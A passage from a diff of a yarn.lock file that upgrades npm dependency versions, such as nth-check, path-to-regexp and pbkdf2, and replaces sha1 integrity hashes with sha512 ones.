-  resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-5.4.3.tgz#cb72daf94c93904098e28b9c590fd866e464bd50"
-  integrity sha512-M4UBGcs4jeOK9CjTsYwkvH6/MzuUmGCyTW+kCY7uO+1ZVr0+FHGdPdIf5CCLqAaxnRrWidyoQlNkMIIVwbKB8Q==
+  version "5.4.5"
+  resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-5.4.5.tgz#0cbc1a2b0f658493b4025775a13ad938e96091ef"
+  integrity sha512-tVbHs7DyTLtzOiN78izLA85zRqB9NvEXkAf014Vx3jtSvn/xBl6bR8ZYifj+dFcFrKI21huSQgJZ6ZtL3B4HfQ==
   dependencies:
     growly "^1.3.0"
     is-wsl "^1.1.0"
@@ -5538,7 +5869,7 @@ normalize-package-data@^2.3.2, normalize-package-data@^2.3.4:
 normalize-path@^2.0.0, normalize-path@^2.0.1, normalize-path@^2.1.1:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-  integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
+  integrity sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==
   dependencies:
     remove-trailing-separator "^1.0.1"
 
@@ -5555,7 +5886,7 @@ normalize-range@^0.1.2:
 normalize-url@^1.4.0:
   version "1.9.1"
   resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-1.9.1.tgz#2cc0d66b31ea23036458436e3620d85954c66c3c"
-  integrity sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=
+  integrity sha512-A48My/mtCklowHBlI8Fq2jFWK4tX4lJ5E6ytFsSOq1fzpvT0SQSgKhSg7lN5c2uYFOrUAOQp6zhhJnpp1eMloQ==
   dependencies:
     object-assign "^4.0.1"
     prepend-http "^1.0.0"
@@ -5565,26 +5896,26 @@ normalize-url@^1.4.0:
 npm-run-path@^2.0.0:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
+  integrity sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==
   dependencies:
     path-key "^2.0.0"
 
-nth-check@~1.0.1:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
-  integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==
+nth-check@^2.0.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-2.1.1.tgz#c9eab428effce36cd6b92c924bdb000ef1f1ed1d"
+  integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==
   dependencies:
-    boolbase "~1.0.0"
+    boolbase "^1.0.0"
 
 num2fraction@^1.2.2:
   version "1.2.2"
   resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
-  integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=
+  integrity sha512-Y1wZESM7VUThYY+4W+X4ySH2maqcA+p7UR+w8VWNWVAd6lwuXXWz/w/Cz43J/dI2I+PS6wD5N+bJUF+gjWvIqg==
 
 number-is-nan@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/number-is-nan/-/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
-  integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
+  integrity sha512-4jbtZXNAsfZbAHiiqjLPBiCl16dES1zI4Hpzzxw61Tk+loF+sBDBKx1ICKKKwIqQ7M0mFn1TmkN7euSncWgHiQ==
 
 "nwmatcher@>= 1.3.9 < 2.0.0":
   version "1.4.4"
@@ -5604,7 +5935,7 @@ object-assign@4.1.1, object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^
 object-copy@^0.1.0:
   version "0.1.0"
   resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c"
-  integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw=
+  integrity sha512-79LYn6VAb63zgtmAteVOWo9Vdj71ZVBy3Pbse+VqxDpEP83XuujMrGqHIwAXJ5I/aM0zU7dIyIAhifVTPrNItQ==
   dependencies:
     copy-descriptor "^0.1.0"
     define-property "^0.2.5"
@@ -5615,20 +5946,20 @@ object-hash@^1.1.4:
   resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-1.3.1.tgz#fde452098a951cb145f039bb7d455449ddc126df"
   integrity sha512-OSuu/pU4ENM9kmREg0BdNrUDIl1heYa4mBZacJc+vVWz4GtAwu7jO8s4AIt2aGRUTqxykpWzI3Oqnsm13tTMDA==
 
-object-inspect@^1.8.0:
-  version "1.9.0"
-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.9.0.tgz#c90521d74e1127b67266ded3394ad6116986533a"
-  integrity sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw==
+object-inspect@^1.13.3:
+  version "1.13.3"
+  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a"
+  integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==
 
-object-is@^1.0.1:
-  version "1.1.4"
-  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.4.tgz#63d6c83c00a43f4cbc9434eb9757c8a5b8565068"
-  integrity sha512-1ZvAZ4wlF7IyPVOcE1Omikt7UpaFlOQq0HlSti+ZvDH3UiD2brwGMwDbyV43jao2bKJ+4+WdPJHSd7kgzKYVqg==
+object-is@^1.1.5:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.6.tgz#1a6a53aed2dd8f7e6775ff870bea58545956ab07"
+  integrity sha512-F8cZ+KfGlSGi09lJT7/Nd6KJZ9ygtvYC0/UYYLI9nmQKLMnydpB9yvbv9K1uSkEu7FU9vYPmVwLg328tX+ot3Q==
   dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
 
-object-keys@^1.0.12, object-keys@^1.1.1:
+object-keys@^1.1.1:
   version "1.1.1"
   resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e"
   integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==
@@ -5636,24 +5967,26 @@ object-keys@^1.0.12, object-keys@^1.1.1:
 object-visit@^1.0.0:
   version "1.0.1"
   resolved "https://registry.yarnpkg.com/object-visit/-/object-visit-1.0.1.tgz#f79c4493af0c5377b59fe39d395e41042dd045bb"
-  integrity sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=
+  integrity sha512-GBaMwwAVK9qbQN3Scdo0OyvgPW7l3lnaVMj84uTOZlswkX0KpF6fyDBJhtTthf7pymztoN36/KEr1DyhF96zEA==
   dependencies:
     isobject "^3.0.0"
 
-object.assign@^4.1.0, object.assign@^4.1.1:
-  version "4.1.2"
-  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.2.tgz#0ed54a342eceb37b38ff76eb831a0e788cb63940"
-  integrity sha512-ixT2L5THXsApyiUPYKmW+2EHpXXe5Ii3M+f4e+aJFAHao5amFRW6J0OO6c/LU8Be47utCx2GL89hxGB6XSmKuQ==
+object.assign@^4.1.0, object.assign@^4.1.4, object.assign@^4.1.7:
+  version "4.1.7"
+  resolved "https://registry.yarnpkg.com/object.assign/-/object.assign-4.1.7.tgz#8c14ca1a424c6a561b0bb2a22f66f5049a945d3d"
+  integrity sha512-nK28WOo+QIjBkDduTINE4JkF/UJJKyf2EJxvJKfblDpyg0Q+pkOHNTL0Qwy6NP6FhE/EnzV73BxxqcJaXY9anw==
   dependencies:
-    call-bind "^1.0.0"
-    define-properties "^1.1.3"
-    has-symbols "^1.0.1"
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    es-object-atoms "^1.0.0"
+    has-symbols "^1.1.0"
     object-keys "^1.1.1"
 
 object.omit@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/object.omit/-/object.omit-2.0.1.tgz#1a9c744829f39dbb858c76ca3579ae2a54ebd1fa"
-  integrity sha1-Gpx0SCnznbuFjHbKNXmuKlTr0fo=
+  integrity sha512-UiAM5mhmIuKLsOvrL+B0U2d1hXHF3bFYWIuH1LMpuV2EJEHG1Ntz06PgLEHjm6VFd87NpH8rastvPoyv6UW2fA==
   dependencies:
     for-own "^0.1.4"
     is-extendable "^0.1.1"
@@ -5661,7 +5994,7 @@ object.omit@^2.0.0:
 object.pick@^1.3.0:
   version "1.3.0"
   resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
-  integrity sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=
+  integrity sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==
   dependencies:
     isobject "^3.0.1"
 
@@ -5670,10 +6003,10 @@ obuf@^1.0.0, obuf@^1.1.1:
   resolved "https://registry.yarnpkg.com/obuf/-/obuf-1.1.2.tgz#09bea3343d41859ebd446292d11c9d4db619084e"
   integrity sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==
 
-on-finished@~2.3.0:
-  version "2.3.0"
-  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.3.0.tgz#20f1336481b083cd75337992a16971aa2d906947"
-  integrity sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=
+on-finished@2.4.1:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/on-finished/-/on-finished-2.4.1.tgz#58c8c44116e54845ad57f14ab10b03533184ac3f"
+  integrity sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==
   dependencies:
     ee-first "1.1.1"
 
@@ -5692,7 +6025,7 @@ once@^1.3.0, once@^1.4.0:
 onetime@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/onetime/-/onetime-2.0.1.tgz#067428230fd67443b2794b22bba528b6867962d4"
-  integrity sha1-BnQoIw/WdEOyeUsiu6UotoZ5YtQ=
+  integrity sha512-oyyPpiMaKARvvcgip+JV+7zci5L8D1W9RZIz2l1o08AM3pfspitVWnPt3mzHcBPp12oYMTy0pqrFs/C+m3EwsQ==
   dependencies:
     mimic-fn "^1.0.0"
 
@@ -5732,17 +6065,17 @@ original@>=0.0.5:
 os-browserify@^0.3.0:
   version "0.3.0"
   resolved "https://registry.yarnpkg.com/os-browserify/-/os-browserify-0.3.0.tgz#854373c7f5c2315914fc9bfc6bd8238fdda1ec27"
-  integrity sha1-hUNzx/XCMVkU/Jv8a9gjj92h7Cc=
+  integrity sha512-gjcpUc3clBf9+210TRaDWbf+rZZZEshZ+DlXMRCeAjp0xhTrnQsKHypIy1J3d5hKdUzj69t708EHtU8P6bUn0A==
 
 os-homedir@^1.0.0, os-homedir@^1.0.1:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
-  integrity sha1-/7xJiDNuDoM94MFox+8VISGqf7M=
+  integrity sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==
 
 os-locale@^1.4.0:
   version "1.4.0"
   resolved "https://registry.yarnpkg.com/os-locale/-/os-locale-1.4.0.tgz#20f9f17ae29ed345e8bde583b13d2009803c14d9"
-  integrity sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=
+  integrity sha512-PRT7ZORmwu2MEFt4/fv3Q+mEfN4zetKxufQrkShY2oGvUms9r8otu5HfdyIFHkYXjO7laNsoVGmM2MANfuTA8g==
   dependencies:
     lcid "^1.0.0"
 
@@ -5758,12 +6091,21 @@ os-locale@^2.0.0:
 os-tmpdir@^1.0.1, os-tmpdir@~1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
-  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
+  integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==
+
+own-keys@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/own-keys/-/own-keys-1.0.1.tgz#e4006910a2bf913585289676eebd6f390cf51358"
+  integrity sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==
+  dependencies:
+    get-intrinsic "^1.2.6"
+    object-keys "^1.1.1"
+    safe-push-apply "^1.0.0"
 
 p-finally@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/p-finally/-/p-finally-1.0.0.tgz#3fbcfb15b899a44123b34b6dcc18b724336a2cae"
-  integrity sha1-P7z7FbiZpEEjs0ttzBi3JDNqLK4=
+  integrity sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==
 
 p-limit@^1.1.0:
   version "1.3.0"
@@ -5775,7 +6117,7 @@ p-limit@^1.1.0:
 p-locate@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-2.0.0.tgz#20a0103b222a70c8fd39cc2e580680f3dde5ec43"
-  integrity sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=
+  integrity sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==
   dependencies:
     p-limit "^1.1.0"
 
@@ -5787,12 +6129,12 @@ p-map@^1.1.1:
 p-try@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/p-try/-/p-try-1.0.0.tgz#cbc79cdbaf8fd4228e13f621f2b1a237c1b207b3"
-  integrity sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=
+  integrity sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==
 
 package-json@^4.0.0:
   version "4.0.1"
   resolved "https://registry.yarnpkg.com/package-json/-/package-json-4.0.1.tgz#8869a0401253661c4c4ca3da6c2121ed555f5eed"
-  integrity sha1-iGmgQBJTZhxMTKPabCEh7VVfXu0=
+  integrity sha512-q/R5GrMek0vzgoomq6rm9OX+3PQve8sLwTirmK30YB3Cu0Bbt9OX9M/SIUnroN5BGJkzwGsFwDaRGD9EwBOlCA==
   dependencies:
     got "^6.7.1"
     registry-auth-token "^3.0.1"
@@ -5807,25 +6149,26 @@ pako@~1.0.5:
 param-case@2.1.x:
   version "2.1.1"
   resolved "https://registry.yarnpkg.com/param-case/-/param-case-2.1.1.tgz#df94fd8cf6531ecf75e6bef9a0858fbc72be2247"
-  integrity sha1-35T9jPZTHs915r75oIWPvHK+Ikc=
+  integrity sha512-eQE845L6ot89sk2N8liD8HAuH4ca6Vvr7VWAWwt7+kvvG5aBcPmmphQ68JsEG2qa9n1TykS2DLeMt363AAH8/w==
   dependencies:
     no-case "^2.2.0"
 
-parse-asn1@^5.0.0, parse-asn1@^5.1.6:
-  version "5.1.6"
-  resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.6.tgz#385080a3ec13cb62a62d39409cb3e88844cdaed4"
-  integrity sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==
+parse-asn1@^5.0.0, parse-asn1@^5.1.7:
+  version "5.1.7"
+  resolved "https://registry.yarnpkg.com/parse-asn1/-/parse-asn1-5.1.7.tgz#73cdaaa822125f9647165625eb45f8a051d2df06"
+  integrity sha512-CTM5kuWR3sx9IFamcl5ErfPl6ea/N8IYwiJ+vpeB2g+1iknv7zBl5uPwbMbRVznRVbrNY6lGuDoE5b30grmbqg==
   dependencies:
-    asn1.js "^5.2.0"
-    browserify-aes "^1.0.0"
-    evp_bytestokey "^1.0.0"
-    pbkdf2 "^3.0.3"
-    safe-buffer "^5.1.1"
+    asn1.js "^4.10.1"
+    browserify-aes "^1.2.0"
+    evp_bytestokey "^1.0.3"
+    hash-base "~3.0"
+    pbkdf2 "^3.1.2"
+    safe-buffer "^5.2.1"
 
 parse-glob@^3.0.4:
   version "3.0.4"
   resolved "https://registry.yarnpkg.com/parse-glob/-/parse-glob-3.0.4.tgz#b2c376cfb11f35513badd173ef0bb6e3a388391c"
-  integrity sha1-ssN2z7EfNVE7rdFz7wu246OIORw=
+  integrity sha512-FC5TeK0AwXzq3tUBFtH74naWkPQCEWs4K+xMxWZBlKDWu0bVHXGZa+KKqxKidd7xwhdZ19ZNuF2uO1M/r196HA==
   dependencies:
     glob-base "^0.3.0"
     is-dotfile "^1.0.0"
@@ -5835,19 +6178,19 @@ parse-glob@^3.0.4:
 parse-json@^2.2.0:
   version "2.2.0"
   resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-2.2.0.tgz#f480f40434ef80741f8469099f8dea18f55a4dc9"
-  integrity sha1-9ID0BDTvgHQfhGkJn43qGPVaTck=
+  integrity sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==
   dependencies:
     error-ex "^1.2.0"
 
 parse-passwd@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
-  integrity sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY=
+  integrity sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==
 
 parse5@^1.5.1:
   version "1.5.1"
   resolved "https://registry.yarnpkg.com/parse5/-/parse5-1.5.1.tgz#9b7f3b0de32be78dc2401b17573ccaf0f6f59d94"
-  integrity sha1-m387DeMr543CQBsXVzzK8Pb1nZQ=
+  integrity sha512-w2jx/0tJzvgKwZa58sj2vAYq/S/K1QJfIB3cWYea/Iu1scFPDQQ3IQiVZTHWtRBwAjv2Yd7S/xeZf3XqLDb3bA==
 
 parseurl@~1.3.2, parseurl@~1.3.3:
   version "1.3.3"
@@ -5857,7 +6200,7 @@ parseurl@~1.3.2, parseurl@~1.3.3:
 pascalcase@^0.1.1:
   version "0.1.1"
   resolved "https://registry.yarnpkg.com/pascalcase/-/pascalcase-0.1.1.tgz#b363e55e8006ca6fe21784d2db22bd15d7917f14"
-  integrity sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ=
+  integrity sha512-XHXfu/yOQRy9vYOtUDVMN60OEJjW013GoObG1o+xwQTpB9eYJX/BjXMsdW13ZDPruFhYYn0AG22w0xgQMwl3Nw==
 
 path-browserify@0.0.1:
   version "0.0.1"
@@ -5867,12 +6210,12 @@ path-browserify@0.0.1:
 path-dirname@^1.0.0:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/path-dirname/-/path-dirname-1.0.2.tgz#cc33d24d525e099a5388c0336c6e32b9160609e0"
-  integrity sha1-zDPSTVJeCZpTiMAzbG4yuRYGCeA=
+  integrity sha512-ALzNPpyNq9AqXMBjeymIjFDAkAFH06mHJH/cSBHAgU0s4vfpBn6b2nf8tiRLvagKD8RbTpq2FKTBg7cl9l3c7Q==
 
 path-exists@^2.0.0:
   version "2.1.0"
   resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-2.1.0.tgz#0feb6c64f0fc518d9a754dd5efb62c7022761f4b"
-  integrity sha1-D+tsZPD8UY2adU3V77YscCJ2H0s=
+  integrity sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==
   dependencies:
     pinkie-promise "^2.0.0"
 
@@ -5889,34 +6232,34 @@ path-is-absolute@^1.0.0, path-is-absolute@^1.0.1:
 path-is-inside@^1.0.1, path-is-inside@^1.0.2:
   version "1.0.2"
   resolved "https://registry.yarnpkg.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
-  integrity sha1-NlQX3t5EQw0cEa9hAn+s8HS9/FM=
+  integrity sha512-DUWJr3+ULp4zXmol/SZkFf3JGsS9/SIv+Y3Rt93/UjPpDpklB5f1er4O3POIbUuUJ3FXgqte2Q7SrU6zAqwk8w==
 
 path-key@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
-  integrity sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=
+  integrity sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==
 
-path-parse@^1.0.5, path-parse@^1.0.6:
-  version "1.0.6"
-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.6.tgz#d62dbb5679405d72c4737ec58600e9ddcf06d24c"
-  integrity sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==
+path-parse@^1.0.5, path-parse@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
+  integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
 
-path-to-regexp@0.1.7:
-  version "0.1.7"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.7.tgz#df604178005f522f15eb4490e7247a1bfaa67f8c"
-  integrity sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=
+path-to-regexp@0.1.12:
+  version "0.1.12"
+  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-0.1.12.tgz#d5e1a12e478a976d432ef3c58d534b9923164bb7"
+  integrity sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==
 
 path-to-regexp@^1.0.1:
-  version "1.8.0"
-  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-1.8.0.tgz#887b3ba9d84393e87a0a0b9f4cb756198b53548a"
-  integrity sha512-n43JRhlUKUAlibEJhPeir1ncUID16QnEjNpwzNdO3Lm4ywrBpBZ5oLD0I6br9evr1Y9JTqwRtAh7JLoOzAQdVA==
+  version "1.9.0"
+  resolved "https://registry.yarnpkg.com/path-to-regexp/-/path-to-regexp-1.9.0.tgz#5dc0753acbf8521ca2e0f137b4578b917b10cf24"
+  integrity sha512-xIp7/apCFJuUHdDLWe8O1HIkb0kQrOMb/0u6FXQjemHn/ii5LrIzU6bdECnsiTF/GjZkMEKg1xdiZwNqDYlZ6g==
   dependencies:
     isarray "0.0.1"
 
 path-type@^1.0.0:
   version "1.1.0"
   resolved "https://registry.yarnpkg.com/path-type/-/path-type-1.1.0.tgz#59c44f7ee491da704da415da5a4070ba4f8fe441"
-  integrity sha1-WcRPfuSR2nBNpBXaWkBwuk+P5EE=
+  integrity sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==
   dependencies:
     graceful-fs "^4.1.2"
     pify "^2.0.0"
@@ -5925,14 +6268,14 @@ path-type@^1.0.0:
 path-type@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/path-type/-/path-type-2.0.0.tgz#f012ccb8415b7096fc2daa1054c3d72389594c73"
-  integrity sha1-8BLMuEFbcJb8LaoQVMPXI4lZTHM=
+  integrity sha512-dUnb5dXUf+kzhC/W/F4e5/SkluXIFf5VUHolW1Eg1irn1hGWjPGdsRcvYJ1nD6lhk8Ir7VM0bHJKsYTx8Jx9OQ==
   dependencies:
     pify "^2.0.0"
 
-pbkdf2@^3.0.3:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.1.tgz#cb8724b0fada984596856d1a6ebafd3584654b94"
-  integrity sha512-4Ejy1OPxi9f2tt1rRV7Go7zmfDQ+ZectEQz3VGUQhgq62HtIRPDyG/JtnwIxs6x3uNMwo2V7q1fMvKjb+Tnpqg==
+pbkdf2@^3.1.2:
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/pbkdf2/-/pbkdf2-3.1.2.tgz#dd822aa0887580e52f1a039dc3eda108efae3075"
+  integrity sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==
   dependencies:
     create-hash "^1.1.2"
     create-hmac "^1.1.4"
@@ -5958,31 +6301,31 @@ pify@^2.0.0, pify@^2.3.0:
 pify@^3.0.0:
   version "3.0.0"
   resolved "https://registry.yarnpkg.com/pify/-/pify-3.0.0.tgz#e5a4acd2c101fdf3d9a4d07f0dbc4db49dd28176"
-  integrity sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=
+  integrity sha512-C3FsVNH1udSEX48gGX1xfvwTWfsYWj5U+8/uK15BGzIGrKoUpghX8hWZwa/OFnakBiiVNmBvemTJR5mcy7iPcg==
 
 pinkie-promise@^2.0.0:
   version "2.0.1"
   resolved "https://registry.yarnpkg.com/pinkie-promise/-/pinkie-promise-2.0.1.tgz#2135d6dfa7a358c069ac9b178776288228450ffa"
-  integrity sha1-ITXW36ejWMBprJsXh3YogihFD/o=
+  integrity sha512-0Gni6D4UcLTbv9c57DfxDGdr41XfgUjqWZu492f0cIGr16zDU06BWP/RAEvOuo7CQ0CNjHaLlM59YJJFm3NWlw==
   dependencies:
     pinkie "^2.0.0"
 
 pinkie@^2.0.0:
   version "2.0.4"
   resolved "https://registry.yarnpkg.com/pinkie/-/pinkie-2.0.4.tgz#72556b80cfa0d48a974e80e77248e80ed4f7f870"
-  integrity sha1-clVrgM+g1IqXToDnckjoDtT3+HA=
+  integrity sha512-MnUuEycAemtSaeFSjXKW/aroV7akBbY+Sv+RkyqFjgAe73F+MR0TBWKBRDkmfWq/HiFmdavfZ1G7h4SPZXaCSg==
 
 pkg-dir@^1.0.0:
   version "1.0.0"
   resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-1.0.0.tgz#7a4b508a8d5bb2d629d447056ff4e9c9314cf3d4"
-  integrity sha1-ektQio1bstYp1EcFb/TpyTFM89Q=
+  integrity sha512-c6pv3OE78mcZ92ckebVDqg0aWSoKhOTbwCV6qbCWMk546mAL9pZln0+QsN/yQ7fkucd4+yJPLrCBXNt8Ruk+Eg==
   dependencies:
     find-up "^1.0.0"
 
 pkg-dir@^2.0.0:
   version "2.0.0"
   resolved "https://registry.yarnpkg.com/pkg-dir/-/pkg-dir-2.0.0.tgz#f6d5d1109e19d63edf428e0bd57e12777615334b"
-  integrity sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=
+  integrity sha512-ojakdnUgL5pzJYWw2AIDEupaQCX5OPbM688ZevubICjdIX01PRSYKqm33fJoCOJBRseYCTUlQRnBNX+Pchaejw==
   dependencies:
     find-up "^2.1.0"
 
@@ -5992,23 +6335,28 @@ pluralize@^7.0.0:
   integrity sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==
 
 portfinder@^1.0.9:
-  version "1.0.28"
